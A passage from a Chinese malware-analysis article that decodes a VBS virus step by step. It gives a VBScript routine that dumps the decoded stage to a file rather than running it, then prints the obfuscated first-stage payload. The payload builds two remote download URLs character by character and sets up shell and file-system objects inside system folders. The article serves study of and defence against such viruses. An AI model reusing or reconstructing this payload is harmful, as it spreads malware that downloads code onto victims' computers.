中vbs病毒会怎么样_vbs病毒_vbs病毒专杀(7)

2。第一次解密：

注意末尾有个execute，修改为intercept，在VBS源码后面加上Intercept代码，代码如下：

Sub Intercept (ee)

WScript.Echo ee

OutPutFile="decode_1.txt"

Set objFSO=CreateObject("Scripting.FileSystemObject")

Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)

objTXT.Write ee

objTXT.Close

Set objWSH=CreateObject("WScript.Shell")

objWSH.Run OutPutFile

WScript.Quit

End Sub

另存为vbs文件，运行后出来一个框，确定后得到decode_1.txt文档：

execute(uc("'0.1}{ire=|0.1|}{svyranzr=|'|}{vasanzr=|'.vav|}{gvyr=|Kvat Os Vof|&ire }{nobhg=|Fbe Wbeq 10.10|}{sebzhey=pue(104)&pue(116)&pue(116)&pue(112)&|://|&pue(85)&|b.|&pue(48)&pue(55)&pue(51)&|6p|&pue(100)&pue(46)&pue(110)&|rg|&pue(47)&|b|&pue(47)&|i|&pue(54)&pue(46)&pue(65)&pue(115)&pue(80)}{sebzhey2=pue(104)&pue(116)&pue(116)&pue(112)&|://|&|k1|&pue(50)&pue(52)&pue(46)&pue(55)&|76|&pue(54)&pue(46)&pue(79)&pue(114)&pue(71)&pue(47)&|b|&pue(47)&pue(86)&pue(54)&pue(46)&pue(65)&pue(83)&pue(112)}{ba reebe erfhzr arkg}{qvz jfu}{frg jfu = perngrbowrpg(|jfpevcg.furyy|)}{frg sfb = perngrbowrpg(|fpevcgvat.svyrflfgrzbowrpg|)}{frg qve = sfb.trgfcrpvnysbyqre(1)}{frg jva = sfb.trgfcrpvnysbyqre(0)}{frg qp = sfb.qevirf}{bhjaanzr=jfpevcg.fpevcganzr}{rkrzhyh=sfb.trgfcrpvnysbyqre(2)&|/|}{jorz=sfb.trgfcrpvnysbyqre(1)&|/jorz/|}{zhyh=yrsg(jfpevcg.fpevcgshyyanzr,yra(jfpevcg.fpevcgshyyanzr)-yra(jfpevcg.fpevcganzr))}{vs zhyh=qve&|/| gura flf=gehr}{"))

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25803-7.html